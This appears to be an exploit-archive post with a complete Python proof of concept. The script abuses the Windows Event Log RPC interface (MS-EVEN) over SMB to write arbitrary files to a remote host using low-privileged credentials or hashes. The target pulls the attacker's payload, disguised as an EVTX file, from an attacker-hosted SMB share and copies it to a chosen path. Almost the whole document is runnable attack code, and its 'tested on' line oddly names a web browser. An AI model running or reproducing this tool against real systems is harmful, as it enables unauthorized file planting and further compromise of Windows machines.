============================================================================================================================================= | # Title : Abuse of MS-EVEN (Event Log RPC) Write Primitive via SMB for Arbitrary File Write | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : No standalone download available | ============================================================================================================================================= [+] Summary : This Python script demonstrates the abuse of the Microsoft Event Log Remote Protocol (MS-EVEN) to achieve an arbitrary file write over SMB using low-privileged credentials. By interacting with the Windows \pipe\eventlog named pipe through DCERPC, the script leverages the ElfrOpenBELW and ElfrBackupELFW functions to write attacker-controlled data to a chosen remote path. The technique works by embedding arbitrary file data into a valid .evtx (Event Log) file and then invoking the backup operation to redirect the content to a target location. If misconfigurations or weak permissions exist, this behavior can lead to unauthorized file creation or overwrite on the target system. This method represents a write primitive abuse scenario, potentially enabling further escalation depending on the remote path and system configuration. [+] POC : #!/usr/bin/env python3 import os import shutil import argparse import sys from impacket.dcerpc.v5 import even from impacket.dcerpc.v5.dtypes import RPC_UNICODE_STRING from impacket.dcerpc.v5.transport import DCERPCTransportFactory class Attacker: LOG_MSG_TEMPLATE = "[+] - {message}" EVENT_LOG_NCACN = r"ncacn_np:{ip}[\pipe\eventlog]" RPC_C_AUTHN_LEVEL_PKT_INTEGRITY = 5 TEMP_EVTX_FILE_TEMPLATE = "Temp_{valid_evtx_file}" SHARE_PATH = r"\\{smb_server_ip}\Share\{local_file_path}" def __init__(self, ip, username, password, smb_server_ip, domain=None, lmhash=None, nthash=None): self.smb_server_ip = smb_server_ip self.connection = None self.dce = None try: self.log("Initializing Connection...") string_binding = self.EVENT_LOG_NCACN.format(ip=ip) self.connection = DCERPCTransportFactory(string_binding) if hasattr(self.connection, "set_credentials"): self.connection.set_credentials( username, password, domain, lmhash, nthash ) self.connection.connect() self.dce = self.connection.get_dce_rpc() self.dce.set_auth_level(self.RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) self.dce.connect() self.log("Binding MS-EVEN Interface...") self.dce.bind(even.MSRPC_UUID_EVEN) except Exception as e: self.log(f"Connection failed: {e}") self.cleanup_connection() sys.exit(1) def log(self, message): print(self.LOG_MSG_TEMPLATE.format(message=message)) def create_rpc_unicode_string(self, string_value): unicode_string = RPC_UNICODE_STRING() unicode_string["Data"] = string_value encoded = string_value.encode("utf-16-le") unicode_string["Length"] = len(encoded) unicode_string["MaximumLength"] = len(encoded) return unicode_string def create_target_evtx(self, src): if not os.path.exists(src): raise FileNotFoundError(f"Valid EVTX file not found: {src}") file_name = os.path.basename(src) dest_name = self.TEMP_EVTX_FILE_TEMPLATE.format( valid_evtx_file=file_name ) shutil.copy(src, dest_name) return dest_name def cleanup_file(self, file_path): if file_path and os.path.exists(file_path): os.remove(file_path) def upload_file(self, local_file_path, remote_file_path, valid_evtx_file_path): temp_valid_evtx_file = None handle = None try: if not os.path.exists(local_file_path): raise FileNotFoundError(f"Local file not found: {local_file_path}") temp_valid_evtx_file = self.create_target_evtx(valid_evtx_file_path) file_path_in_share = self.SHARE_PATH.format( smb_server_ip=self.smb_server_ip, local_file_path=os.path.basename(temp_valid_evtx_file), ) unicode_valid_evtx_share_path = self.create_rpc_unicode_string( file_path_in_share ) unicode_remote_path = self.create_rpc_unicode_string( remote_file_path ) self.log(f"Starting upload to {remote_file_path}") with open(local_file_path, "rb") as f: local_file_data = f.read() with open(temp_valid_evtx_file, "rb+") as valid_evtx_file: handle = even.hElfrOpenBELW( self.dce, unicode_valid_evtx_share_path ) valid_evtx_file.seek(0) valid_evtx_file.write(local_file_data + b"\x00") valid_evtx_file.flush() even.hElfrBackupELFW( self.dce, handle["LogHandle"], unicode_remote_path ) self.log("Upload completed successfully.") except Exception as e: self.log(f"Upload failed: {e}") finally: try: if handle: even.hElfrCloseEL(self.dce, handle["LogHandle"]) except Exception: pass self.cleanup_file(temp_valid_evtx_file) def cleanup_connection(self): try: if self.dce: self.dce.disconnect() except Exception: pass try: if self.connection: self.connection.disconnect() except Exception: pass def main(): parser = argparse.ArgumentParser() parser.add_argument("ip_to_attack") parser.add_argument("smb_server_ip") parser.add_argument("username") parser.add_argument("password") parser.add_argument("valid_evtx_file_path") parser.add_argument("local_file_path") parser.add_argument("remote_file_path") parser.add_argument("--domain", default="") parser.add_argument("--lmhash", default="") parser.add_argument("--nthash", default="") args = parser.parse_args() attacker = Attacker( ip=args.ip_to_attack, username=args.username, password=args.password, smb_server_ip=args.smb_server_ip, domain=args.domain, lmhash=args.lmhash, nthash=args.nthash ) attacker.upload_file( local_file_path=args.local_file_path, remote_file_path=args.remote_file_path, valid_evtx_file_path=args.valid_evtx_file_path ) attacker.cleanup_connection() if __name__ == "__main__": main() Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================